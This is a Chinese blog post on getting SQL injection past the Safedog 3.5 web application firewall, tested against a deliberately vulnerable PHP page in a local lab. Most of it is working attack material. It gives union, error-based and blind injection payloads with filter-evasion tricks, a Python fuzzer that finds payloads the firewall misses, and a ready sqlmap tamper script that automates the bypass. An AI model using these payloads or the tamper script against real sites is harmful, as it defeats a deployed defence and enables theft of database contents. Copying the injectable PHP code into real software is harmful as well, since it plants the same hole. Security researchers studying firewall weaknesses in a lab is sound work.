Yoga7xm's Blog

Bypass Safedog注入

字数统计: 1k阅读时长: 5 min
2018/12/05 Share

Abstract

环境:

  • phpstudy
  • safedog v3.5正式版

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$db = new PDO('mysql:host=localhost;dbname=test','root','yoga');
$id = @$_GET['id'];
$sql = "select * from stu where id=".$id;
echo $sql;
echo "<br>";
try{
$res = $db->query($sql) or var_dump($db->errorInfo());
$mon = $res->fetch(PDO::FETCH_ASSOC);
print_r($mon);
}catch(Exception $e){
print $e->getMessage();
exit();
}

表信息:

【注】:首先安装完phpstudy后进入apache\bin\目录中注册一个名为apache的服务

1
httpd.exe -k install -n apache

然后运行这个服务,再进行安装safedog

Bypass

原始请求:http://192.168.134.30/sql.php?id=1

常规判断方式:and 1=1and 1=2。但是没想到都被烂了

可以用||&&|来代替,而且这是数字型注能够直接用-判断

  • id=1%20%26%26%20false #false
  • id=1%20%26%26%201=2 #false
  • id=1%20%26%26%200 #flase
  • id=1%20%26%26%20true #true
  • id=1%20%26%26%201=1 #true
  • id=1%20%26%26%201 #true

接下来就是判断字段数目

使用order by被拦截,但是替换使用group by却没有拦截

联合查询

先来看看安全狗的拦截机制:

  • id=-1 union select 1,2,3 #拦截
  • id=-1 xunion select 1,2,3 #拦截
  • id=-1 union xselect 1,2,3 #不拦截
  • id=-1 union x select 1,2,3 #不拦截

也就是说,我们要在union和select之间插入payload来混淆正则,常见有以下方式

  1. 空白字符:%09,%0a,%0b,%0c,%0d,%20,%a0
  2. 注释符:/**/、/*...*/、/*!*/
  3. 括号:union(select)

写个py简单的跑一下

1
2
3
4
5
6
7
8
9
10
11
payload = ["/**/","/*asdf*/","%09","%0a","%0b","%0c","%0d","%20","%a0"]
payload2 = ["/*!"]
for i in payload:
for j in payload2:
for z in range(14000,15000):
url = "http://192.168.134.30/sql.php?id=-1{}union{}{}select*/ 1,2,3".format(i,j,str(z))
resp = session.get(url=url,proxies=proxies)
if not "ul{ list-style-type:none;}" in resp.text:
if not "SQL syntax;" in resp.text:
print url
print "finish"

一同跑下来之后发现有好多能够Bypass

1
2
3
4
http://192.168.134.30/sql.php?id=-1/**/union/*!14400select*/ 1,2,3
http://192.168.134.30/sql.php?id=-1/**//*!union/*!14400select*/1,2,3
http://192.168.134.30/sql.php?id=-1%09/*!union/*!14400select*/1,2,3
http://192.168.134.30/sql.php?id=-1/**/union/*!14400all*//*!14400select*/ 1,2,3

查询库名,直接使用database()或者是database/**/(/**/)都会拦截的

使用unhex(hex(database/**/()))成功绕过

或者是DATABASE/*!()*/

接下来就是获取表名,列名,数据等操作了

1
http://192.168.134.30/sql.php?id=-1/**/union/*!14400select*/ 1,table_name,3 from `information_schema`.tables where table_schema=0x74657374 limit 0,1--

1
http://192.168.134.30/sql.php?id=-1/**/union/*!14400select*/ 1,group_concat(column_name),3 from/*!information_schema*/.columns where table_name=0x737475--

1
http://192.168.134.30/sql.php?id=-1/**/union/*!14400select*/ 1,group_concat(name),3 from test.stu

报错注入

同样简单测试下拦截规则:

  • updatexml(1,1,1) 拦截
  • updatedxml(1,1,1) 不拦截

也就是说要将updatexml给包裹起来

  • /*updatexml*/(1,1,1) 拦截
  • /*!updatexml*/(1,1,1) 拦截
  • /*!11440updatexml*/(1,1,1) 拦截

最后使用反引号(md语法该为高亮所以打不出来)绕过

1
2
3
4
5
6
7
http://192.168.134.30/sql.php?id=-1 %26%26 `updatexml`(1,concat(0x7e,(select unhex(hex(/*!database*/()))),0x7e),1)

http://192.168.134.30/sql.php?id=-1 %26%26 `updatexml`(1,concat(0x7e,(select group_concat(table_name) from `information_schema`.tables where table_schema=0x74657374),0x7e),1)

http://192.168.134.30/sql.php?id=-1 %26%26 `updatexml`(1,concat(0x7e,(select group_concat(column_name) from`information_schema`.columns where table_name=0x737475),0x7e),1)

http://192.168.134.30/sql.php?id=-1 %26%26 `updatexml`(1,concat(0x7e,(/*!11440select*/ group_concat(name) from stu),0x7e),1)

盲注

直接使用substr会被拦截,但是换成mid却能够直接通行

1
2
3
4
5
6
7
http://192.168.134.30/sql.php?id=1 %26%26 length((select table_name from `information_schema`.tables where table_schema=0x74657374))=3

http://192.168.134.30/sql.php?id=1 %26%26 ascii(mid((select table_name from `information_schema`.tables where table_schema=0x74657374),1,1))=115

http://192.168.134.30/sql.php?id=1 %26%26 ascii(mid((select column_name from `information_schema`.columns where table_name=0x737475 limit 0,1),1,1))=105

http://192.168.134.30/sql.php?id=1 %26%26 ascii(mid((/*!11440select*/ name from stu limit 0,1),1,1))=97

Tamper

根据以上规则编写tamper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os

__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("Bypass dog3.5 '%s' for %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
payload=payload.replace('AND','%23%23')
payload=payload.replace('ORDER','group')
payload=payload.replace('USER())','unhex(hex(user/**/())))')
payload=payload.replace('database()','unhex(hex(database/**/()))')
payload=payload.replace('UNION ALL SELECT','union/*!14400select*/')
payload=payload.replace('information_schema','`information_schema`')
return payload

保存至tamper目录下,然后调用

1
python2 sqlmap.py -u http://192.168.134.30/sql.php?id=1 --proxy="http://127.0.0.1:8080" --random-agent –technique u --tamper=bypassdog -tables --dbs

CATALOG
  1. 1. Abstract
  2. 2. Bypass
    1. 2.1. 联合查询
    2. 2.2. 报错注入
    3. 2.3. 盲注
  3. 3. Tamper